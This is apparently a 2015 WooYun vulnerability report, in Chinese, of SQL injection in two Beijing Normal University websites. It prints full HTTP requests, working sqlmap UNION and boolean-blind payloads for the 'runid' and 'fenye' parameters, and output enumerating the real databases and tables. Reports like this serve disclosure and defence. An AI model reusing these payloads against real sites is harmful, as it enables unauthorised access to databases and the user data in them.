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缺陷编号：wooyun-2015-0155332

漏洞标题：北京师范大学多站SQL注入

相关厂商：北京师范大学

漏洞作者： 路人甲

提交时间：2015-11-24 12:26

修复时间：2015-11-29 12:28

公开时间：2015-11-29 12:28

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

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分享漏洞：

漏洞详情

披露状态：

2015-11-24： 细节已通知厂商并且等待厂商处理中
2015-11-29： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

RT

详细说明：

GET /contest/show_ce_info.php?runid= HTTP/1.1
X-Requested-With: XMLHttpRequest
Referer: http://acm.bnu.edu.cn
Cookie: bnuoj_v3_style=journal; cstandset_null_7274=shownum%3D0%26autoref%3Don%26anim%3Don%26cid%3D7274; defaultshare=1; mjx.menu=; bnuoj_v3_defaultshare=1
Host: acm.bnu.edu.cn
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*


runid参数存在注入

sqlmap resumed the following injection point(s) from stored session:
---
Parameter: runid (GET)
    Type: UNION query
    Title: Generic UNION query (random number) - 1 column
    Payload: runid=-8371 UNION ALL SELECT CONCAT(0x716b767071,0x6d78735241484c55596967754b6f58706a6175774868664644707a776e6454444672414d65636269,0x716a6a7671)-- -
---
web application technology: PHP 5.6.7
back-end DBMS: active fingerprint: MySQL >= 5.5.0
               banner parsing fingerprint: MySQL 5.5.36, logging enabled
banner:    '5.5.36-MariaDB-1~squeeze-log'
available databases [4]:
[*] bnuoj
[*] bnuojoi
[*] graduate
[*] information_schema


Database: graduate
+----------+---------+
| Table    | Entries |
+----------+---------+
| `user`   | 51      |
| ranklist | 51      |
| problem  | 9       |
| status   | 1       |
+----------+---------+


Database: bnuojoi
+----------+---------+
| Table    | Entries |
+----------+---------+
| status   | 5800    |
| `user`   | 334     |
| ranklist | 334     |
| problem  | 138     |
| mail     | 23      |

漏洞证明：

GET /achievements.jsp?fenye=*&www=1 HTTP/1.1
X-Requested-With: XMLHttpRequest
Referer: http://ireg.bnu.edu.cn
Cookie: JSESSIONID=A958431F27BD1F7AF4A00031374E1722; imgnum=0
Host: ireg.bnu.edu.cn
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*


fenye参数存在注入

qlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* (URI)
    Type: boolean-based blind
    Title: MySQL >= 5.0 boolean-based blind - Parameter replace
    Payload: http://ireg.bnu.edu.cn:80/achievements.jsp?fenye=(SELECT (CASE WHEN (7284=7284) THEN 7284 ELSE 7284*(SELECT 7284 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))&www=1
---
web application technology: JSP
back-end DBMS: MySQL 5
available databases [5]:
[*] bierf
[*] bierfcist
[*] iiki2013reg
[*] information_schema
[*] test

修复方案：

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2015-11-29 12:28

厂商回复：

漏洞Rank：4 (WooYun评价)

最新状态：

暂无